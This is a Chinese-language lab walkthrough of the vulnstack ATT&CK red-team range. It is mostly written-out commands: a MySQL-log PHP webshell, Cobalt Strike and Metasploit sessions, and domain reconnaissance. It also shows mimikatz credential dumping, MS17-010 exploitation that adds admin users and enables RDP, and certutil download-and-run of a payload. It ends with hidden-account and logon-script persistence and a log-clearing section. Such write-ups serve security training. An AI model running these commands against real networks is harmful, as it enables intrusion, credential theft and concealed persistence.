ATT&CK(一)

环境搭建

下载链接

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

image-20220609165642155

image-20220609170124128

image-20220609204751576

image-20220609170723987

image-20220609170817918

image-20220609170844162

image-20220609170925008

原来的适配器删了重新加一个适配器

image-20220609221235624

同一密码

hongrisec@2019

image-20220609180636131

看好适配器 4

image-20220609224854598

image-20220609181644596

测试

image-20220609181807376

nmap扫描

.\nmap.exe 192.168.1.129 -sS -sV -A -T4 -p-

image-20220609182615928

目录扫描

python .\dirmap.py -i http://192.168.1.129/ -lcf

image-20220609182604707

有一个备份

image-20220609183939528

访问这个

image-20220609184044561

这里泄露了信息

image-20220609184852085

模板写个shell试试

image-20220609185037617

看一下路径

image-20220609185301725

这里爆了绝对路径

image-20220609183120952

image-20220609190122038

image-20220609183721084

新建一个字典

image-20220609183624182

image-20220609183716376

弱口令进来了.

查看写文件的权限

SHOW GLOBAL VARIABLES LIKE "secure%"

image-20220609192907642

不可以写

数据库全局日志写入

查看是否开启了全局日志以及全局日志的存放位置

SHOW VARIABLES LIKE '%general%' 

修改或者设置全局日志的保存目录为网站的web目录,并且日志保存为php文件

SHOW VARIABLES LIKE '%general%' 
set global general_log_file="C:\\phpStudy\\WWW\\zf.php";

image-20220609193950854

执行命令写入日志文件

SELECT "<?php @eval($_POST[zf]); ?>"

image-20220609194032970

image-20220609194102454

数据库慢查询日志写入

show variables like '%slow%' 

image-20220609194547424

set global slow_query_log=on;
set global slow_query_log_file="C:\\phpStudy\\WWW\\zf.php";

image-20220609194813366

select '<?php @eval($_POST[zf1]);?>' or sleep(10); 

image-20220609194823201

cs

这里我们先搭建一下cs的服务端

先安装java8

yum install -y java-1.8.0-openjdk*

image-20220609205425769

上传到服务器

image-20220609205026639

加执行权限

chmod a+x agscript
chmod a+x c2lint
chmod a+x peclone
chmod a+x teamserver

image-20220609205444543

启动

./teamserver 192.168.1.130 wanan

image-20220609205521322

客户端连接

image-20220609205636678

连不上放行一下50050端口

systemctl stop firewalld

image-20220609205958973

image-20220609210522894

image-20220609210426045

我们先关闭防火墙

netsh advfirewall set allprofiles state off

image-20220609211559477

把我们生成的exe马传上去

image-20220609211654786

执行命令

image-20220609211821390

image-20220609211839056

上线了,我们先收集一下信息

shell whoami

image-20220609212057019

shell netstat -ano

image-20220609212434834

3389没开

为了不等待时间,我们把会话间隔调低一点

image-20220609212452201

systeminfo

image-20220609212759164

看补丁

image-20220609212657934

image-20220609213022550

信息收集的命令

netsh advfirewall set allprofiles state off
关闭防火墙

shell netstat -ano
查看开放端口

shell systeminfo
查看系统信息

shell ipconfig/all
查看网络信息

shell whoami
查看用户信息

shell whoami/all
查看所有用户信息

shell hostname
获取dns信息

shell net view
查看当前局域网中的计算机列表

shell net user
查看当前计算机中的用户

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询操作系统及软件信息

echo %PROCESSOR_ARCHITECTURE%
查看系统体系结构

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
使用PowerShell收集软件的版本信息

whoami && whoami /priv
查看当前权限

wmic service list brief
查询本机服务信息

wmic product get name, version
查看安装的软件的版本、路径等

wmic process list brief
查询进程信息

wmic startup get command,caption
查看启动程序信息

shell tasklist
查看常见的杀毒软件进程

shell net view /domain
查看主域信息

shell net time /domain
查看时间服务器

shell net config workstation
查看当前的登录域与用户信息

shell nslookup god.org
寻找域dns服务器ip

shell ping -a god.org
ping dns服务器

shell net user /domain
获取当前域内的用户

shell wmic useraccount get /all
获取域内用户的详细信息

shell net group "domain computers" /domain
查看当前域成员计算机列表

shell net group "domain admins" /domain
查看域管理员的用户组

shell net group "Enterprise admins" /domain
查询域系统管理员用户组

shell net group "domain controllers" /domain
查看域控制器

shell net accounts /domain
获取域密码信息

net view
扫描端口信息

hashdump
读取内存密码

logonpasswords
用mimakatz读注册表密码

shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
探测内网其他主机

image-20220609214727214

image-20220609213312710

两个网段,也很容易想到这个52是在内网的

image-20220609214820937

发现是在域中的,并且dns域名为god.org

查看主域信息

shell net view /domain

image-20220609215113502

shell net time /domain

image-20220609225634912

shell net config workstation

image-20220609225648908

shell nslookup god.org

image-20220609220507408

这里没解析到,可能是因为nat模式的原因,不过就这样把,懒得改了.

shell ping -a god.org

image-20220609225721695

shell net user /domian

image-20220609225831850

shell wmic useraccount get /all

image-20220609225932696

shell net group "domain computers" /domain

image-20220609230226275

net group "domain admins" /domain

image-20220609230633958

shell net group "Enterprise admins" /domain

image-20220610155345719

shell net group "domain controllers" /domain

image-20220610155555487

shell net accounts /domain

image-20220610155658018

net view

image-20220610160717269

hashdump

image-20220610160952266

这里权限不够可以先去提权,插件Elevatekit

logonpasswords

这里的密码其实不应该改的.

image-20220610161240584

shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

image-20220610161624465

这里还有k8大神的工具ladon,内容丰富,扫描快

因为内网的目标机器192.168.52.138和192.168.52.141无法直接连接到kali 所以需要cs派生出一个smb beacon,让内网的主机连接到win7上面.我们

这里主要介绍SMB beacon, cs派生smb beacon. smb beacon通过命名管道与父级beacon进行通信,当两个beacons连接之后,子beacon从父beacon获取到任务并发送,因为连接的beacons使用windows命名管道进行通信,此流量封装与smb协议中,所以smb beacon相对隐蔽,绕过个防护墙有奇效.

第一种是在已经有的beacon上建立监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取dc的方法

第二种是直接派生一个子beacon,目的是为了进一步盗取内网主机的hash,新建一个listener,payload设置为beacon smb.

image-20220610162157168

image-20220610162227890

image-20220610162543361

image-20220610162700484

image-20220610162757395

psexec使用凭证来登录其他主机.已经探测到了获取内网的其他targets以及读取到的凭证信息,可以利用psexec模块登录到其他主机

右键非域控主机(owa)的psexec模块

image-20220610163114613

image-20220610163249391

可以看到拿到了

image-20220610163440542

image-20220610163518693

image-20220610163634106

额 .. 都拿到了.

还可以使用token窃取

image-20220610163939778

image-20220610164012931

msf

我们从头来过

image-20220610164239183

我们来把shell 弹到msf上面

msfconsole
启动msfconsole

use exploit/multi/handler
使用监听模块

set payload windows/meterpreter/reverse_http
设置 payload为 windows下的反向http连接

set lhost 192.168.1.128
设置本机ip作为监听ip

set lport 8888
设置本机8888端口作为监听端口

run
运行

image-20220610185417216

新建监听器

image-20220610172307173

image-20220610185447456

image-20220610172431090

image-20220610185502006

image-20220610185526297

getsystem
提权

image-20220611110605568

配置静态路由

run get_local_subnets
查看网段子网

run autoroute -s 192.168.52.0/24
添加路由

run autoroute -p
查看路由

background
转入后台

image-20220610190044485

使用socks4代理模块

use auxiliary/server/socks_proxy

set version 5

set srvhost 192.168.1.128

修改配置文件

edit /etc/proxychains4.conf

image-20220610213126003

proxychains curl http://192.168.52.138

image-20220610213255556

msf进行内网扫描

background
返回背景

use auxiliary/scanner/netbios/nbname
使用

show options
显示选项

set rhosts 192.168.52.0-255
设置远程扫描host为52的网段

run
运行

image-20220610190229519

对192.168.52.138进行端口扫描

use auxiliary/scanner/portscan/tcp
使用tcp模块

set rhosts 192.168.52.138
设置扫描ip

set ports 80,135-139,3306,3389,445

设置扫描端口

run

image-20220610191245451

set rhost 192.168.52.141
run

image-20220610191156200

使用永恒之蓝(ms17-010)进行漏洞扫描

search ms17-010
搜索漏洞编号

use auxiliary/scanner/smb/smb_ms17_010
使用这个模块

set rhosts 192.168.52.138
设置目标ip

run

image-20220610191533522

image-20220610191713451

使用exploit/windows/smb/ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

auxiliary/admin/smb/ms17_010_command可以执行命令

use  auxiliary/admin/smb/ms17_010_command
使用这个模块

set rhosts 192.168.52.138
设置ip

set command whoami
设置命令

run

image-20220610193850472

我们使用ms08-067搭配bind tcp

由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听

image-20220610214346047

search ms08-067

image-20220610214424421

use 0

set payload windows/meterpreter/bind_tcp

也不行

use auxiliary/admin/smb/ms17_010_command

set rhosts 192.168.52.138
set command whoami
run
set command net user wanan p-0p-0p-0 /add
run
set command net localgroup administrators wanan /add
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command netsh advfirewall set allprofiles state off
run
proxychains rdesktop 192.168.52.138 -u wanan -p p-0p-0p-0

image-20220611000825921

https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

通过蚁剑将wmiexec.vbs上传至web服务器。直接进行远程命令:
C:\\WINDOWS\\System32\\cscript.exe wmiexec.vbs /cmd 192.168.52.141 administrator p-0p-0p-0 "whoami"

image-20220610231907539

cscript.exe wmiexec.vbs /cmd 192.168.52.138 whoami

image-20220610233417917

由于域控处于内网环境且不能访问外网,所以没法使用反向shell,
可以让win7web服务器去正向连接域控,使用msf的bind_tcp模块

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9999
exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,
使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
msfvenom -p windows/meterpreter/bind_tcp lport=9999 -f exe -o shell.exe

image-20220610233552597

回到一开始web服务器的会话中,将生成的正向连接马传上去,

image-20220610234707405

利用web服务,让域控将此正向连接马下载到本地并执行
cscript.exe wmiexec.vbs /cmd 192.168.52.138 "certutil -urlcache -split -f http://192.168.52.129/shell.exe | shell.exe"
cscript.exe wmiexec.vbs /cmd 192.168.52.138 "shell.exe"

这里即下载不下来也执行不了所以换一种方法

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9999
run

image-20220611134702774

image-20220611131027685

image-20220611131222326

发现权限太低.

image-20220611131538772

失败了

直接换种方法执行shell

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command C:\Users\wanan\Downloads\shell.exe
run

image-20220611134803321

image-20220611134900533

迁移进程到svchost.exe

migrate 472

image-20220611150430371

加载kiwi模块抓取密码

load kiwi
creds_all
creds_msv 获取密码hash值
creds_kerberos 获取密码明文

image-20220611150530700

查看装了哪些软件

run post/windows/gather/enum_applications

image-20220611150807320

我们重新对141进行尝试

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
search ms08-067
use 0
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
use auxiliary/admin/smb/ms17_010_command

set rhosts 192.168.52.138
set command whoami
run
set command net user wanan p-0p-0p-0 /add
run
set command net localgroup administrators wanan /add
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
proxychains rdesktop 192.168.52.141 -u wanan -p p-0p-0p-0

image-20220610230319550

登录

也可以使用138的方式提到system权限.这里仅展示多种方式.

我们开启一下telnet服务

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set COMMAND sc config tlntsvr start= auto
run
set COMMAND net start telnet
run
set COMMAND netstat -an
run

image-20220611124530288

连接

use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.52.141
set username wanan
set PASSWORD p-0p-0p-0
run

image-20220611124811889

但是执行命令没反应

image-20220611125109557

手动连

telnet 192.168.52.141

image-20220611125238131

image-20220611125228701

权限维持

影子账户

先删除我们之前创建的用户

shell 
net user wanan /delete

添加隐藏用户

net user wanan$ p-0p-0p-0 /add
net localgroup administrators wanan$ /add
net user

image-20220611140944694

我们来使用新用户连接,更改下注册表

(HKEY_LOCAL_MACHINE\SAM\SAM),修改SAM权限,赋予adminitrators完全控制权限

image-20220611141314432

image-20220611141325913

重启之后,将Administrator用户对应项的F数据值复制到wanan$用户对应项的F数据值

image-20220611141531450

没找到,做个记录

重启之后,将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值

img

img

test$和所对应项000003F1导出,分别命名为test.reg和1.reg

img

删除test$用户,将test.reg和1.reg导入注册表

net user test$ /del
regedit /s test.reg
regedit /s 1.reg

img

此时在用户组已经看不到test$用户,只能在注册表中能看到。

img

用工具试试https://github.com/wgpsec/CreateHiddenAccount/releases

image-20220611144323362

管理员权限运行
CreateHiddenAccount_v0.2.exe -c 检查是否有隐藏账户
CreateHiddenAccount_v0.2.exe -u wanan -p p-0p-0p-0 创建名为wanan,密码为p-0p-0p-0的账户。会自动补上$
CreateHiddenAccount_v0.2.exe -d wanan$ 删除隐藏账户

image-20220611145950078

logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截.首先用msf创建后门程序,注册表位置:HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\System32\regIog.exe"(自己创建的后门exe)
copy C:\Users\wanan$\Downloads\shell.exe C:\Windows\System32\regIog.exe

忘记加exe了下面.

image-20220611151623463

重启下试试.没成功

https://blog.csdn.net/qq_48985780/article/details/122297100

清除日志

windows 日志路径:

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx

安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx

应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx

日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

image-20220611160120268

其实还有很多工作没有做

http://www.iis7.com/a/nr/wz/202105/10491.html

https://blog.csdn.net/qq_38626043/article/details/117629847

https://blog.csdn.net/weixin_45605352/article/details/119740990

https://xz.aliyun.com/t/10076?page=1#toc-5

http://www.iis7.com/a/nr/wz/202105/10491.html